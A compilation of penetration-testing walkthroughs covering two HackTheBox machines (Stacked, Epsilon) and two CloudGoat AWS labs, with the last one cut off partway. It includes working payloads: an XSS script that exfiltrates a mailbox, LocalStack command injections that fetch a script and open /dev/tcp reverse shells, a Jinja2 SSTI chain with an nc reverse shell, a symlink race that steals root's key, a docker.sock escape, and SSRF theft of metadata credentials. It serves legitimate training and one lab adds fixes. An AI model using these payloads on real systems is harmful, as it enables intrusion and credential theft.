Summary of the path

rustscan → vhost fuzz finds portfolio.stacked.htb → docker-compose.yml discloses the LocalStack setup → XSS via unsanitized Referer header → XHR payload exfiltrates admin's mailbox → mail leaks s3-testing.stacked.htb → LocalStack command injection via function name → shell as localstack → pspy shows root building the Docker command → injection via handler gives container root → mounted docker.sock mounts the host filesystem → root

Enumeration

22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http        Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
2376/tcp open  ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Issuer: commonName=docker-ca
<SNIP certificate>

The redirect tells us to add stacked.htb, and virtual host fuzzing finds one more:

$ ffuf -u http://stacked.htb -H "Host: FUZZ.stacked.htb" \
       -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 18
<SNIP>
portfolio               [Status: 200, Size: 30268, Words: 11467, Lines: 445, Duration: 197ms]

The portfolio site

The portfolio subdomain is a single page marketing site, and its About section offers a docker-compose.yml download.

version: "3.3"
 
services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
<SNIP>
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

The image is pinned to localstack/localstack-full:0.12.6. SERVICES=serverless means Lambda is the service in play. Every port is bound to 127.0.0.1, so none of it is reachable from outside, which is why we will need a way to make the box talk to itself. And the volumes mount /var/run/docker.sock into the container.

The contact form and a forgotten header

The site's contact form posts to process.php.

Feeding a script tag into any of the form fields returns an "XSS detected!" error, so the fields are filtered. The filter is the interesting part: someone thought about XSS here, which usually means they thought about it in exactly the places they expected input to arrive.

Requests carry more than form fields, so we move the payload into the Referer header instead and watch a listener.

$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.250] from (UNKNOWN) [10.129.228.28] 39392
GET / HTTP/1.1
Host: 10.10.14.250:6969
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Referer: http://mail.stacked.htb/read-mail.php?id=3
origin: http://mail.stacked.htb

The callback answers two questions at once. The Referer header is rendered somewhere without sanitization, and the page it renders on is http://mail.stacked.htb/read-mail.php?id=3. Someone on the box is reading our submissions in a webmail client, and that client executes what we send. We now have a browser inside the network acting on our behalf, which matters because everything in that compose file was bound to localhost.

Blind XSS gives us execution but no output, so the next step is turning it into a read primitive. We host a script that fetches a page as the victim and POSTs the response body back to us:

async function scrapeAndSend(sourceUrl, destinationUrl) {
  try {
    const getResponse = await fetch(sourceUrl);
    if (!getResponse.ok) {
      throw new Error(`GET failed: ${getResponse.status}`);
    }
    const content = await getResponse.text();
 
    const postResponse = await fetch(destinationUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'text/plain'
      },
      body: JSON.stringify({ data: content })
    });
 
    console.log('Post status:', postResponse.status);
  } catch (error) {
    console.error('Operation failed:', error);
  }
}
 
const sourcePage = 'http://mail.stacked.htb/read-mail.php?id=1';
const destination = 'http://10.10.14.250:6969/';
 
scrapeAndSend(sourcePage, destination);

Serve it, listen, and submit a Referer that loads it as a script.

$ python3 -m http.server
$ nc -lvnp 6969

The mailbox HTML comes back in the POST body.

Stripped of the AdminLTE boilerplate, the message is the payload:

Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can
configure the IAM users, roles and permissions. I have initialized a serverless
instance for you to work from but keep in mind for the time being you can only
run node instances. If you need anything let me know. Thanks.

A third virtual host, s3-testing.stacked.htb, which the fuzzing wordlist never would have found.

LocalStack command injection

Add the host and point the AWS CLI at it. LocalStack does not validate credentials, so any string works.

$ aws configure --profile stacked
AWS Access Key ID [None]: stacked
AWS Secret Access Key [None]: stacked
Default region name [None]:
Default output format [None]:

Version 0.12.6 from the compose file is the detail that pays off here. Sonar found a command injection in the LocalStack dashboard and published it as CVE-2021-32090. A route reads the Lambda function name from user input and pastes it into a shell string:

# localstack/dashboard/infra.py
out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)

That string ends up in subprocess.check_output(cmd, shell=True), so whatever we put in the name runs as a command. The same research explains why the rest of the box looks the way it does: LocalStack ships with no authentication because it expects to run on a developer's own machine, and Sonar's attack scenario reaches a localhost-bound instance through that developer's browser.

We create a function whose name carries the payload, and it fires when the dashboard processes it:

$ aws --endpoint-url=http://s3-testing.stacked.htb lambda create-function \
      --function-name "test;wget 10.10.14.250/shell.sh;bash shell.sh" \
      --role "arn:aws:iam::kohicha:role/kohicha" --region us-east-1 \
      --zip-file fileb://test.zip --handler lambda.apiHandler \
      --runtime nodejs --profile stacked
{
    "FunctionName": "test;wget 10.10.14.250/shell.sh;bash shell.sh",
<SNIP>
    "State": "Active",
}

The listener catches a shell as the localstack user inside the container.

$ penelope -p 6969
[+] Listening for reverse shells on 0.0.0.0:6969
[+] [New Reverse Shell] => 5d4d11a1113e 10.129.228.28 Linux-x86_64 localstack(1001) Session ID <1>
bash-5.0$ ls
Makefile  bin  localstack  nosetests.xml  requirements.txt  shell.sh  supervisord.pid

From localstack to container root

We are in the container as an unprivileged user. Running pspy shows what else is happening, and the answer is that root is doing all the real work:

2026/09/07 15:02:38 CMD: UID=0  PID=1844  | unzip -o -q /tmp/localstack/zipfile.ee5dfc45/original_lambda_archive.zip
2026/09/07 15:03:42 CMD: UID=0  PID=1862  | docker create -i -e DOCKER_LAMBDA_USE_STDIN=1 <SNIP> -e _HANDLER=lambda.apiHandler <SNIP> --rm lambci/lambda:nodejs lambda.apiHandler
2026/09/07 15:03:42 CMD: UID=0  PID=1861  | /bin/sh -c CONTAINER_ID="$(docker create -i -e _HANDLER="$_HANDLER" <SNIP> "lambci/lambda:nodejs" "lambda.apiHandler")";docker cp "/tmp/localstack/zipfile.ee5dfc45/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";

The last line is the one that matters. Root assembles a /bin/sh -c string and drops our handler value into it inside a command substitution. That means the same class of bug we already used, but reached through a different parameter and executed as UID 0 instead of as localstack. We move the payload into --handler and wrap it in $( ) so the shell evaluates it while building the command:

$ aws --endpoint-url=http://s3-testing.stacked.htb lambda create-function \
      --function-name "final-last" --role "arn:aws:iam::kohicha:role/kohicha" \
      --region us-east-1 --zip-file fileb://test.zip \
      --handler 'lambda.apiHandler $(/bin/bash -c "bash -i >& /dev/tcp/10.10.14.250/6767 0>&1")' \
      --runtime nodejs --profile stacked
<SNIP>
 
$ aws --endpoint-url=http://s3-testing.stacked.htb lambda invoke \
      --function-name "final-last" test --region us-east-1 --profile stacked
{
    "StatusCode": 200,
    "FunctionError": "Unhandled",
    "ExecutedVersion": "$LATEST"
}

pspy shows the substitution firing as root, and the listener catches it:

Container root is not host root

Worth checking before celebrating. The hostname is a container ID and the address is on the Docker bridge, so this is root inside the LocalStack container, not on the machine.

bash-5.0# hostname
5d4d11a1113e
bash-5.0# ip a
<SNIP>
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0

/root here holds .serverless and .terraform.d, not root.txt. This is the container's root, and the flag is on the host.

Root

This is where the compose file from the first ten minutes pays off. /var/run/docker.sock was mounted into this container, and we are now root inside it, so we can drive the host's Docker daemon. Asking it to start a container that bind mounts / gives us the host filesystem inside a path we control (MITRE T1611, Escape to Host).

bash-5.0# docker run -v /:/mnt --entrypoint sh -it 0601ea177088
/opt/code/localstack # cd /mnt
/mnt # ls -la
drwxr-xr-x   19 root  root  4096 Aug 26  2021 .
lrwxrwxrwx    1 root  root     7 Feb  1  2021 bin -> usr/bin
drwxr-xr-x  110 root  root  4096 Aug 17  2022 etc
drwxr-xr-x    4 root  root  4096 Jul 14  2021 home
drwx------   11 root  root  4096 Sep  7 09:01 root
<SNIP>

That is the host's filesystem, mounted read-write, owned by us.

/mnt # cd /mnt/root
/mnt/root # ls
Desktop         docker.service  root.txt
/mnt/root # cat root.txt
<REDACTED>

Summary of the path

nmap → exposed .git on port 80 → git history leaks AWS keys → Lambda code disclosure via awscli → Flask source exposes admin login and JWT secret → SSTI on /order → shell as tom → pspy finds root backup job → symlink swaps checksum for root id_rsa → root over SSH

Enumeration

Three ports matter. SSH on 22 (OpenSSH 8.2p1 on Ubuntu focal), Apache on 80, and a Werkzeug development server on 5000 serving something called "Costume Shop". Werkzeug 2.0.2 on Python 3.8.10 tells us the app is Flask, worth remembering when we later go looking for template injection.

$ nmap -sV -sC -A 10.129.96.151
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git:
|   10.129.96.151:80/.git/
|     Git repository found!
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop

Port 80 is interesting precisely because it looks boring. The index returns 403 Forbidden, so a quick pass would write it off, but nmap's http-git script already answered the question we had not asked yet: there is a .git directory served over HTTP, directory listing is denied but the objects underneath are not. Apache blocks / and /.git/ while happily serving /.git/HEAD, and that is the whole finding.

The box wants hostnames later, so we add them now:

10.129.96.151  epsilon.htb  cloud.epsilon.htb

The costume shop on 5000 is a small login-gated app. Unauthenticated we get the login page and a tracking page, and everything else bounces us back to /.

Foothold: from .git to Lambda to SSTI

git-dumper walks the object store one blob at a time and rebuilds the repository locally, which is exactly what an exposed .git with denied listings allows.

$ git-dumper http://10.129.96.151/.git/ ~/epsilon
[-] Testing http://10.129.96.151/.git/HEAD [200]
[-] Testing http://10.129.96.151/.git/ [403]
<SNIP>
[-] Fetching objects
[-] Fetching http://10.129.96.151/.git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3 [200]
<SNIP>
[-] Running git checkout .

Read the log before the files, because what a developer removed is usually more interesting than what they kept.

$ git log --oneline
c622771 Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module

Four commits, and the first one is named after the module we care about. We check it out and find hardcoded credentials.

$ git checkout 7cf92a7a09e523c1c667d13847c9ba22464412f3
HEAD is now at 7cf92a7 Adding Tracking API Module

$ cat track_api_CR_148.py
import io
import os
from zipfile import ZipFile
from boto3.session import Session

session = Session(
    aws_access_key_id='<REDACTED>',
    aws_secret_access_key='<REDACTED>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilong.htb')
aws_lambda = session.client('lambda')
<SNIP>
def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

Two things to take from this file. The obvious one is the key pair. The subtle one is endpoint_url, which tells us this is not real AWS, it is an emulated AWS API reachable at a hostname on the box itself. Note the g in cloud.epsilong.htb: that typo is what the later "Fixed Typo" commit repaired, so the working hostname is cloud.epsilon.htb, the one we already put in /etc/hosts. Chasing the string as written leads nowhere, a good reminder to read a leaked config as a draft rather than as gospel.

We install awscli v2 and point it at the box:

$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o "awscliv2.zip"
$ unzip awscliv2.zip && sudo ./install.sh
<SNIP>
You can now run: /usr/local/bin/aws --version

$ aws configure --profile epsilon
AWS Access Key ID [None]: <REDACTED>
AWS Secret Access Key [None]: <REDACTED>
Default region name [None]: us-east-1
Default output format [None]: json

Enumerating the Lambda service gives us a single function, costume_shop_v1, and asking for its details hands over a download link for its code. That link is the real prize: get-function returns a URL to the deployment package, so read access to Lambda metadata is read access to source.

$ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function \
      --function-name costume_shop_v1 --profile epsilon
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
<SNIP>
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    }
}

Unzipping the package gives us the Flask application running on port 5000:

#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<REDACTED>'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
<SNIP>
app.run(debug='true')

The gate is not really a gate once we have this file. verify_jwt accepts any HS256 token that carries a username claim and validates against secret, and secret is right there in the source we just downloaded. So we skip the login form entirely and sign our own token for {"username": "admin"} with the leaked key, then set it as the auth cookie by hand.

>>> import jwt
>>> jwt.encode({"username":"admin"}, '<REDACTED>', algorithm="HS256")
'<REDACTED_JWT>'

Dropping that value into the browser as auth=<jwt> is enough, since every protected route only ever asks verify_jwt whether the cookie verifies. The hardcoded admin:admin in the handler would have worked too, worth noticing as a second finding, but forging the cookie is the cleaner read of the bug: the secret being in the deployment package means authentication is decorative.

The route that matters is /order:

@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)

This is the beat worth slowing down for. The developer did the safe thing and passed costume into the template as a variable, then undid it on the line above by using .format() to build the template string itself. Our input is not template data, it is template source, and render_template_string compiles it. Anything we type into the costume field is Jinja2 that the server agrees to execute. We expected to hunt for a sink in the source; instead the sink was two lines long.

The confirmation is the usual one, {{7*7}} coming back as 49 inside the order confirmation message:

From there we need a path from the template context to something that can run commands. self._TemplateReference__context is the render context object, cycler is a global Jinja helper that lives in it, and its __init__.__globals__ gives us the module globals of the file cycler is defined in, which imports os. That chain gets us to command execution without needing any object the application itself defined:

self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()

With execution proven, we swap id for a named pipe reverse shell. The payload goes in URL encoded so the shell metacharacters survive the form submission:

self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%2010.10.14.250%206969%20%3E%2Ftmp%2Ff').read()

And the listener catches it:

User

There is no lateral movement on this box. The Flask app runs as tom, not root, and tom owns user.txt, so the SSTI shell is already the user shell.

Privilege escalation

Nothing in the usual sweep of sudo rights and SUID binaries leads anywhere, and the app is a dead end once we have its source. An unremarkable filesystem on a box that clearly automates something is the cue to watch time rather than watch files. We upload pspy64 and let it sit.

The process log shows a root owned backup routine firing on a short interval. It works out of /opt/backups, handles a file called checksum there, and writes tar archives into /var/backups/web_backups. The archive it produces contains opt/backups/checksum alongside a nested tar of the site, which is the detail that matters: root reads that path and copies whatever it finds there into an archive we can read.

tom@epsilon:~$ cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/
/usr/bin/tar -cvf "/opt/backups/file.tar" /var/www/app/
sha1sum "/opt/backups/file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/{check_file}.tar" /opt/backups/checksum "/opt/backups/file.tar"
/usr/bin/rm -rf /opt/backups/

Read top to bottom, this hands us everything. Each cycle wipes and recreates /opt/backups/, tars the web root into file.tar, writes a sha1sum of that tar into checksum, sleeps five seconds, then archives both checksum and file.tar into /var/backups/web_backups/. The second tar uses -h, which tells tar to follow symbolic links and archive what they point at rather than the link itself. And the sleep 5 is a five second window, sitting right between the moment checksum is created and the moment it gets read.

tom can write in /opt/backups, so we control what checksum is. tar follows symbolic links it is told to archive, so if checksum is a link to a file only root can read, root's own backup job will read it for us and hand us the contents inside a world readable archive.

The one complication is timing. The job recreates checksum each cycle, so we have to replace it in the window between its creation and the tar that reads it. A short script plus a busy loop is enough to win that race:

#!/bin/sh

if [ -e /opt/backups/checksum ]; then
	rm -f /opt/backups/checksum
	ln -sf /root/.ssh/id_rsa /opt/backups/checksum
fi

tom@epsilon:~$ chmod +x exploit.sh
tom@epsilon:~$ while true; do ./exploit.sh; done
tom@epsilon:~$ ls -la /var/backups/web_backups
-rw-r--r-- 1 root root 1003520 Sep  3 15:15 220542670.tar
-rw-r--r-- 1 root root 1003520 Sep  3 15:16 323537395.tar
-rw-r--r-- 1 root root 1003520 Sep  3 15:17 352081509.tar

We take the newest archive, unpack it in tom's home, and read the file that was supposed to be a checksum:

tom@epsilon:~$ cp /var/backups/web_backups/352081509.tar .
tom@epsilon:~$ tar -xvf 352081509.tar
opt/backups/checksum
opt/backups/335417017.tar
tom@epsilon:~$ cat opt/backups/checksum
-----BEGIN OPENSSH PRIVATE KEY-----
<REDACTED>
-----END OPENSSH PRIVATE KEY-----

The trailing comment inside the key confirms the owner, root@epsilon.

Root

With the key obtained and chmod 600 applied, root is a single SSH connection away, no password and no further escalation needed.

Summary of the path

Lara's route: Start as Lara with S3 log read -> Dig through ELB access logs and find a hidden app path -> Reach the web app and find command injection -> Drop an SSH key and get a shell -> Read the instance's metadata and user-data for RDS credentials -> Query the database for the secret

McDuck's route: Start as McDuck with S3 keystore read -> Download a stashed SSH private key -> SSH straight into the box -> Use the instance role to read the secret S3 bucket -> Recover the database credentials and the secret

The interesting thing about this scenario is that it teaches two lessons at once. Lara's path is about log recon and command injection. McDuck's is about a leaked private key. They land on the same EC2 instance, and that instance leaks the database credentials in more than one place.

Setting up

We're given two sets of keys, one per user.

$ cloudgoat create rce_web_app
<SNIP>
$ aws configure --profile lara
$ aws configure --profile mcduck

Lara's path

Initial recon

$ aws sts get-caller-identity --profile lara
{
    "Arn": "arn:aws:iam::<ACCOUNT_ID>:user/lara"
}

$ aws s3 ls --profile lara
2026-09-01 20:07:47 cg-keystore-s3-bucket-cgidombrvifd25
2026-09-01 20:08:05 cg-logs-s3-bucket-cgidombrvifd25
2026-09-01 20:07:45 cg-secret-s3-bucket-cgidombrvifd25
<SNIP>

Lara can read the logs bucket. It holds ELB access logs, so we walk the prefix tree down.

$ aws s3 ls s3://cg-logs-s3-bucket-cgidombrvifd25/cg-lb-logs/AWSLogs/<ACCOUNT_ID>/elasticloadbalancing/us-east-1/2019/06/19/ --profile lara
2026-09-01 20:12:44      18015 <SNIP>_10.10.10.100_5m9btchz.log

The load balancer itself is easy to find:

$ aws elbv2 describe-load-balancers --profile lara
<SNIP>
            "DNSName": "cg-lb-cgidombrvifd25-<SNIP>.us-east-1.elb.amazonaws.com",
            "Scheme": "internet-facing",

Visiting it directly shows nothing useful in the page or its source.

View-source page

The access log is where it gets interesting. Pull it down and read the requested paths.

$ aws s3 cp s3://cg-logs-s3-bucket-cgidombrvifd25/.../...log . --profile lara

$ cat ...log
<SNIP>
... "GET http://cg-lb-...elb.amazonaws.com:80/mkja1xijqf0abo1h9glg.html HTTP/1.1" ...
... "GET http://cg-lb-...elb.amazonaws.com:80/ HTTP/1.1" ...
... "GET http://cg-lb-...elb.amazonaws.com:80/bootstrap.css HTTP/1.1" ...

Buried in the log is a request for /mkja1xijqf0abo1h9glg.html, a page with a random name that isn't linked from anywhere. That's the lesson here: a "hidden" page is only hidden until it shows up in a log someone else can read. Access logs are recon material.

Command injection

That hidden page is a small web app that runs whatever we hand it, so it's vulnerable to command injection.

Rather than work through a cramped web shell, we give ourselves a proper foothold by writing our own SSH key into the ubuntu user's authorized_keys.

echo "ssh-ed25519 <OUR_PUBLIC_KEY> kohi@kohicha" > /home/ubuntu/.ssh/authorized_keys

Then log in normally.

$ ssh ubuntu@<EC2_IP>
<SNIP banner>
ubuntu@ip-10-0-10-63:~$ whoami
ubuntu

Looting the instance

First stop from any EC2 shell is the metadata service, which will hand us the instance role's credentials.

ubuntu@ip-10-0-10-63:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidombrvifd25
{
  "Code" : "Success",
  "AccessKeyId" : "<REDACTED>",
  "SecretAccessKey" : "<REDACTED>",
  "Token" : "<REDACTED>",
  "Expiration" : "2026-09-01T19:15:33Z"
}

The bigger prize is the instance's user-data, the bootstrap script AWS runs at first boot. It's readable by anyone on the box, and here it was written with the database credentials hard-coded straight into it.

ubuntu@ip-10-0-10-63:~$ curl http://169.254.169.254/latest/user-data
#!/bin/bash
<SNIP setup>
psql postgresql://cgadmin:<REDACTED>@cg-rds-instance-cgidombrvifd25.<SNIP>.rds.amazonaws.com:5432/cloudgoat \
  -c "CREATE TABLE sensitive_information (...);"
psql postgresql://cgadmin:<REDACTED>@cg-rds-instance-...rds.amazonaws.com:5432/cloudgoat \
  -c "INSERT INTO sensitive_information (name,value) VALUES ('Super-secret-passcode', '<the secret>');"
<SNIP>

The script tells us three things at once: the RDS endpoint, the admin credentials, and the fact that our target sits in a table called sensitive_information. Connect and read it.

ubuntu@ip-10-0-10-63:~$ psql postgresql://cgadmin:<REDACTED>@cg-rds-instance-cgidombrvifd25.<SNIP>.rds.amazonaws.com:5432/cloudgoat
cloudgoat=> SELECT * FROM sensitive_information;
         name          |           value
-----------------------+----------------------------
 Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b
(1 row)

That's Lara's flag.

McDuck's path

McDuck reaches the same box, but through a leaked key instead of command injection.

$ aws s3 ls s3://cg-keystore-s3-bucket-cgidombrvifd25 --profile mcduck
2026-09-01 20:07:52       3381 cloudgoat
2026-09-01 20:07:52        738 cloudgoat.pub

A private key and its public half, sitting in a bucket McDuck can read. Download them.

$ aws s3 cp s3://cg-keystore-s3-bucket-cgidombrvifd25/cloudgoat . --profile mcduck

$ cat cloudgoat
-----BEGIN OPENSSH PRIVATE KEY-----
<SNIP private key>
-----END OPENSSH PRIVATE KEY-----

Find the instance's address and SSH in with the key directly. No injection needed.

$ aws ec2 describe-instances --profile mcduck
<SNIP to the running instance>
                    "PublicIpAddress": "<EC2_IP>",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::<ACCOUNT_ID>:instance-profile/cg-ec2-instance-profile-cgidombrvifd25"
                    },

$ ssh -i ./cloudgoat ubuntu@<EC2_IP>
ubuntu@ip-10-0-10-63:~$

A different way to the secret

Lara read the database straight from user-data. From this shell we can take the other route and lean on the instance's own role. Install the CLI and let it pick up the role credentials from the metadata service automatically.

ubuntu@ip-10-0-10-63:~$ curl -fsSL https://awscli.amazonaws.com/v2/install.sh | bash
<SNIP>
ubuntu@ip-10-0-10-63:~$ export PATH=$HOME/.local/bin:$PATH

ubuntu@ip-10-0-10-63:~$ aws s3 ls
<SNIP>
cg-secret-s3-bucket-cgidombrvifd25

ubuntu@ip-10-0-10-63:~$ aws s3 ls s3://cg-secret-s3-bucket-cgidombrvifd25
2026-09-01 12:07:51        282 db.txt

ubuntu@ip-10-0-10-63:~$ aws s3 cp s3://cg-secret-s3-bucket-cgidombrvifd25/db.txt .
ubuntu@ip-10-0-10-63:~$ cat db.txt
Dear Tomas - For the LAST TIME, here are the database credentials. Save them to
your password manager, and delete this file when you've done so! This is
definitely in breach of our security policies!!!!

DB name: cloudgoat
Username: cgadmin
Password: <REDACTED>

Sincerely,
Lara

Same credentials, reached a completely different way. The role attached to the instance can read the secret bucket, and someone left the database password in a plaintext note there. From here it's the same psql connection to pull the passcode.

Fixing it

This scenario breaks in several independent places, which is the point. Any one of these fixes would have stopped at least one of the two paths.

• Don't put credentials in EC2 user-data. It's readable by every process on the instance and through the metadata service, so anything hard-coded there is effectively public to whoever lands on the box. Pull secrets from Secrets Manager or SSM Parameter Store at boot instead.

• Don't store private keys or credential files in S3. The keystore bucket held an SSH private key, and the secret bucket held a plaintext password note. Neither belongs in object storage. Lock these buckets down and keep secrets in a secrets manager.

• Fix the command injection. The web app passes user input to a shell. Validate and sanitize input, and never build shell commands from it.

• Treat access logs as sensitive. The ELB logs gave away an unlinked application path. Restrict who can read log buckets, since recon starts there.

• Enforce IMDSv2 and scope the instance role. Requiring session tokens on the metadata service raises the bar for stealing role credentials, and the role itself should only reach the resources it truly needs, not the secret bucket.

• Alert on the tells: reads of the keystore and secret buckets, metadata credentials used off-instance, and new authorized_keys entries appearing on a host.

Tear the lab down when you're finished:

$ cloudgoat destroy rce_web_app

Summary of the path

Start as Solus with Lambda read access -> List the Lambda and find EC2 keys in its env vars -> Pivot to Wrex and enumerate EC2 -> Find an SSRF-vulnerable web app on the instance -> SSRF the metadata endpoint for the EC2 role's credentials -> Use the role to read a secret S3 bucket -> Recover Shepard's credentials -> Invoke the Lambda as Shepard and win

Unlike some of the other scenarios, there's no single misconfiguration to point at here. This is a chain: four different identities, each one leaving behind the keys to the next. The thread running through all of it is credentials stored somewhere they can be read, plus a metadata endpoint that hands out a role to anyone who can make the server request it.

Setting up

We start with the Solus user's keys.

$ cloudgoat create ec2_ssrf
<SNIP>
$ aws configure --profile solus

Enumerating Lambda

Solus can read Lambda, so that's where we look first.

$ aws lambda list-functions --profile solus
<SNIP>
            "FunctionName": "cg-lambda-cgid6qq24avi7d",
            "Runtime": "python3.11",
            "Handler": "lambda.handler",
            "Description": "Invoke this Lambda function for the win!",
            "Environment": {
                "Variables": {
                    "EC2_ACCESS_KEY_ID": "AKIAUWJPWY7OUOQ5VCJF",
                    "EC2_SECRET_KEY_ID": "<REDACTED>"
                }
            },

The description tells us this is the function we eventually need to invoke, and the environment variables hand us a set of access keys straight away. Same idea as the Beanstalk lab earlier in the series: Lambda environment variables are configuration, and anyone who can describe the function reads them in plaintext.

get-function gives us the same variables plus a presigned link to the deployment package, so we can pull the source too.

$ aws lambda get-function --function-name cg-lambda-cgid6qq24avi7d --profile solus
<SNIP>
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/...<SNIP long presigned URL>"
    }

$ unzip cg-lambda-cgid6qq24avi7d-<SNIP>.zip
lambda.py

$ cat lambda.py
def handler(event, context):
    # You need to invoke this function to win!
    return "You win!"

Nothing hidden in the code, it just confirms the goal. What matters is the key pair in the env vars.

Pivoting to Wrex

Configure a profile with the exposed keys and see who they belong to.

$ aws configure --profile solus-01
<SNIP>

$ aws sts get-caller-identity --profile solus-01
{
    "UserId": "AIDAUWJPWY7OUYUBJH7HD",
    "Account": "<ACCOUNT_ID>",
    "Arn": "arn:aws:iam::<ACCOUNT_ID>:user/wrex-cgid6qq24avi7d"
}

We're now Wrex. Let's see what this identity can see, starting with EC2.

$ aws ec2 describe-instances --profile solus-01
<SNIP trimmed to the one running instance>
                    "InstanceId": "i-06052608c73939134",
                    "PublicIpAddress": "44.200.12.173",
                    "PublicDnsName": "ec2-44-200-12-173.compute-1.amazonaws.com",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::<ACCOUNT_ID>:instance-profile/cg-ec2-instance-profile-cgid6qq24avi7d"
                    },
                    "SecurityGroups": [
                        { "GroupName": "cg-ec2-ssh-cgid6qq24avi7d" }
                    ],
                    "MetadataOptions": {
                        "HttpTokens": "optional",
                        "HttpEndpoint": "enabled"
                    },
                    "State": { "Name": "running" }

One running instance with a public IP. Two things stand out. It has an IAM instance profile attached, so the machine carries a role we'd like to get our hands on. And HttpTokens: optional means the metadata service accepts unauthenticated requests, which will matter in a moment.

(The full output also lists a couple of terminated instances tagged for other scenarios. Those are leftovers, ignore them.)

Finding the SSRF

Visiting the instance in a browser shows a small demo app.

Welcome to sethsec's SSRF demo.
I am an application. I want to be useful, so give me a URL to request for you

It takes a url parameter and fetches whatever we point it at, from the server's side. That's a textbook server-side request forgery setup, and the most useful thing to make an EC2 instance request is its own metadata endpoint at 169.254.169.254, an address only reachable from the instance itself.

$ curl "http://ec2-44-200-12-173.compute-1.amazonaws.com/?url=http://169.254.169.254/"
<SNIP>
1.0
2007-01-19
<SNIP>
latest

The metadata service answers, which confirms the SSRF reaches it. From here we walk to the credentials path. The role name comes from the instance profile we already saw in describe-instances (you can also list it at /latest/meta-data/iam/security-credentials/).

$ curl "http://ec2-44-200-12-173.compute-1.amazonaws.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgid6qq24avi7d"
<SNIP>
{
  "Code" : "Success",
  "AccessKeyId" : "ASIAUWJPWY7OY63B4YQX",
  "SecretAccessKey" : "<REDACTED>",
  "Token" : "<REDACTED>",
  "Expiration" : "2026-08-24T11:00:16Z"
}

Those are temporary credentials for the EC2 role, delivered to us through the vulnerable app.

Assuming the EC2 role

Configure a profile with the three values (these are temporary creds, so the session token is required).

$ aws configure --profile solus-02
<SNIP>

$ aws sts get-caller-identity --profile solus-02
{
    "UserId": "AROAUWJPWY7OWORT22A7F:i-06052608c73939134",
    "Account": "<ACCOUNT_ID>",
    "Arn": "arn:aws:sts::<ACCOUNT_ID>:assumed-role/cg-ec2-role-cgid6qq24avi7d/i-06052608c73939134"
}

We're now acting as the instance's role. Check what it can reach in S3.

